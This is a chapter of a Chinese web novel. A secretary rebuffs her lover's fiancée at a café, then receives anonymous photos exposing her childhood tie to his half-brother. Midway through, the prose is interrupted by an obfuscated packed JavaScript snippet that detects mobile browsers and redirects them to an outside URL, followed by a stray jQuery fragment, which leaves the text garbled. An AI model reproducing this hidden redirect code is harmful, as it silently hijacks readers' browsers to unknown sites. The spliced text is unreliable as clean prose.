最机密的文件她还没有拿到，霍渡山的指令一条接一条，时间越来越紧。
她只能继续。
桑语霜约她见面那天，是个阴天。
消息发到手机上，很简短：【下午三点，云上咖啡，我想和你谈谈。苏小姐不会不敢来吧？】
苏林婵看着那行字，嘴角弯起一个弧度。
她回复：【好。】
云上咖啡在市中心一栋写字楼的顶层，落地窗外是整个城市的天际线。
桑语霜坐在靠窗的位置，月白色连衣裙，长发披散，温婉得像一幅画。
看到苏林婵进来，她抬起脸，露出那个得体的笑容。
“苏小姐，请坐。”
苏林婵在她对面坐下，没有碰那杯已经倒好的茶。
桑语霜看着她，目光温柔得像在看一个不懂事的妹妹。
“苏小姐，我就不绕弯子了。”
她顿了顿。
“请你离开绍闻。”
苏林婵抬起眼，迎上她的目光。
“为什么？”
桑语霜笑了。
“为什么？苏小姐是在装傻吗？”
她端起茶杯，轻轻抿了一口。
“我和绍闻从小一起长大，两家早就定了婚约。我出国这几年，他身边有人，我从没过问。因为我清楚，那些人不过是过客。”
她放下茶杯，看着苏林婵。
“但你不一样。”
苏林婵没有说话。
桑语霜继续道：“绍闻最近对你的态度，我看得很清楚。他开始认真了。这很危险。”
“危险？”
苏林婵挑眉：“对谁危险？”
“对他，对你，对我们所有人都危险。”
桑语霜的声音依旧温柔，但眼神渐渐冷下来：“苏小姐，你是什么身份，你自己心里清楚。一个替身，一个协议情人，你觉得绍闻真的会爱上你吗？”
苏林婵听着，脸上没有任何表情。
桑语霜看着她这副模样，眼中闪过一丝烦躁。
“苏小姐，我是在给你机会。趁现在还来得及，主动离开，我可以当作什么都没发生过。你继续做你的秘书也好，拿着钱离开也好，我都不会干涉。但如果你不识抬举——”
她顿了顿，笑容里带上了一丝冷意。
“后果自负。”
苏林婵静静地听完。
然后她轻轻笑了一声。
“桑小姐说完了？”
桑语霜皱眉。
苏林婵迎上她的目光，声音平静得像在陈述事实。
“我不会离开。”
桑语霜的脸色变了。
“你说什么？”
“我说。”
苏林婵一字一句道：“我哪里也不会去。”
桑语霜盯着她，眼中闪过一丝难以置信。
“你知不知道你在说什么？”
“我知道。”
苏林婵站起身，居高临下地看着她。
“桑小姐，你是白月光，是未婚妻，是两家认定的未来女主人。这些我都知道。但有一件事你可能忘了——”
她顿了顿。
“这三年，陪在他身边的人是我。”
桑语霜的脸色彻底沉了下来。
“你什么意思？”
“我的意思是。”
苏林婵弯起嘴角：“他喜欢吃什么，讨厌什么，失眠的时候怎么哄，应酬喝多了怎么照顾，工作压力大的时候怎么让他放松……这些，你知道吗？”
桑语霜的手指紧紧攥着茶杯。
“你在炫耀？”
“不是炫耀。”
苏林婵摇摇头：“我只是在陈述事实。”
她说完，推开门走了出去。
苏林婵知道接下来桑语霜肯定会有动作，所以她已经做好了准备。
那天在咖啡厅不欢而散后，她就在等。
以桑语霜的性格，绝不会善罢甘休。
那种用温柔做武器的人，一旦撕破脸，下手只会更狠。
只是她没想到，对方的速度这么快。
第三天早上，苏林婵打开工作邮箱，一封匿名邮件静静地躺在收件箱里。
没有标题。
发件人是一串乱码。
她点开。
屏幕加载了三秒，然后一张照片弹出来。
苏林婵的呼吸瞬间停滞。
照片里是两个孩子。男孩十四五岁，瘦削，眉眼带着与年龄不符的阴郁。
女孩七八岁，扎着两个羊角辫，仰着脸看着男孩，笑得毫无防备。
是霍渡山。
和她。
苏林婵的手指微微颤抖。
她死死盯着那张照片，大脑飞速运转。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279994|198348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁发的？
他们查到了多少？
她强迫自己冷静下来，继续往下翻。
附件里还有几张。
第二张，霍渡山牵着她的手，走在放学回家的路上。
第三张，她坐在他家门口的小板凳上，低头写作业，他在旁边看书。
第四张，两人站在一棵老槐树下，他伸手帮她摘掉头发上的树叶。
每一张都在提醒她，她和霍渡山的关系，远不止“青梅竹马”那么简单。
最后一张照片下面，附着一行字：
【苏小姐，这些照片，你说霍绍闻看了会怎么想？】
苏林婵盯着那行字，后背渗出细密的冷汗。
她立刻关掉邮件，然后彻底删除，清空回收站。
做完这一切，她靠在椅背上，闭上眼，深吸一口气。
手还在抖。
如果霍绍闻看到这张照片……
他和霍渡山是同父异母的兄弟，他不可能认不出那张脸。
如果这些照片落到他手里，如果他知道她和霍渡山从小就认识——
她不敢往下想。
三年来，她隐藏得那么好，从不在他面前提起任何过去，从不露出任何破绽。
她把所有和霍渡山有关的东西都藏起来，包括那枚丢在雨夜的戒指。
可现在，有人挖出来了。
苏林婵睁开眼，拿起手机，打开那个加密通讯软件。
她的指尖在屏幕上悬停了几秒，然后打下：
【出事了。有人发了我和你的旧照片到我邮箱。】
发送。
这次回复来得很快。
【他们查到你身上了。接下来每一步都要小心，不要暴露任何破绽。】
苏林婵盯着那行字，嘴角弯起一个苦涩的弧度。
他总是这样。
不问她的感受，不问她的处境，只说任务，只说小心，只说不要暴露。
她想问他：如果暴露了呢？如果被发现了呢？你会来救我吗？
但她没有问。
三年来她问过无数次，他从未正面回答过。
她只是打下：【我知道。你也要小心。他一直在找你。】
发送。
【嗯。】
就一个字。
苏林婵关掉通讯器，将它塞回床头柜最深处。